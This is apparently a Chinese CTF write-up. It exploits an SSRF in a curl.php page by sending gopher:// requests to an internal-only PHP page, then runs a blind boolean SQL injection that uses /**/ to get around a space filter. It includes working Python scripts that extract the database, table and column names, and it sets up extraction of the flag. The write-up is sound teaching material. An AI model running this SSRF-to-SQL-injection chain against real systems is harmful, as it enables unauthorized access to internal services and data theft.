if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') { highlight_file(__FILE__); die('Try to access it from internal!'); } echo"Welcome!\n"; $id = $_POST['id']; if (preg_match("/union| /i",$id)) die('You bad bad >_<'); $con = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_DATABASE); $sql = "SELECT * FROM messages WHERE id=$id"; // SQLI >_< $res = mysqli_query($con, $sql); $message = mysqli_fetch_array($res)['message']; echo$message; #回显Try to access it from internal!
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1')用户访问的IP必须是本地IP才能进行下面的数据库操作等步骤,也就是说只有通过网页服务器内网访问。如果我们能够通过这个服务器中的另外一个不限制于内网访问的页面,把它当做跳板间接对这个仅内网访问的页面进行操作,就能进行传参等操作。也就是实现SSRF。先看另外一个页面:
1 2 3 4 5 6 7 8 9
<?php highlight_file(__FILE__); // Hint: Do you know gopher? $url = $_POST['url']; if (preg_match("/file:|ftp:|http:|scp:|dict:/i",$url)) die('You bad bad >_<'); $ch = curl_init($url); $res = curl_exec($ch); echo$res;
curl_init()函数初始化一个curl绘会话,值传给$ch,curl_exec()函数执行一个curl会话,值传给$res。最后将结果打印出来。既然可以执行curl,那么不就意味着可以通过这个页面对SQLI页面进行传参等操作了吗。给出了提示:"Do you know gopher?"。emmm。。。并不知道。那就学呗。找到了一篇讲的比较详细的文章学习了一下。
import urllib.parse data = \ """POST /sqli.php HTTP/1.1 Host: 127.0.0.1#使用脚本时删掉该注释,此处要把原包ip改为改为127.0.0.1 Content-Length: 4 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
id=1
""" result = urllib.parse.quote(data) result = result.replace("%0A","%0D%0A") result = result = urllib.parse.quote(result) #要注意!!如果是希望在浏览器里传参,则要编码两次!!浏览器会自动解码一次,后端解码一次;但是像下面 #要讲的用python的requests库直接传参就只需要编码一次因为不需要经过浏览器解码 print(result) #output #POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%25204%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/109.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250Aid%253D1%250D%250A%250D%250A
import urllib.parse import requests url = "http://192.168.150.1:43083/curl.php" database = "" for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr(database(),{},1))={})#".format(i,j)#判断数据库名第i个字符的ascii码是否为j,是的话为真会返回"meow" content = content.replace(" ", "/**/")#SQL页面存在空格过滤用/**/绕过 content_length = len(content) data = \ f"""POST /sqli.php HTTP/1.1 Host: 127.0.0.1 Content-Length: {content_length} Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
{content}
""" result = urllib.parse.quote(data) result = result.replace("%0A","%0D%0A") payload = "gopher://127.0.0.1:80/_"+result r = requests.post(url,data={"url":payload}).text #print(r) if"meow"in r: database += chr(j) print(database) break #output #r #ru #rua #数据库名为rua
同样,爆表名,因为可能存在多个表,所以使用group_concat()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),{},1))={})#".format(i,j) ........... #output #f #fl #fla #flag #flag, #flag,m #flag,me #flag,mes #flag,mess #flag,messa #flag,messag #flag,message #flag,messages
盲猜flag在flag表里,爆字段名:
1 2 3 4 5 6 7 8 9
for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'flag'),{},1))={})#".format(i,j)#爆字段名 ........... #output #f #fl #fla #flag
已知信息:
数据库rua、表flag、字段flag,爆flag内容:
1 2 3
for i inrange(1,100): for j inrange(32,126): content = "id=1 and (ascii(substr((select group_concat(flag) from flag),{},1))={})#".format(i,j)#爆flag表内容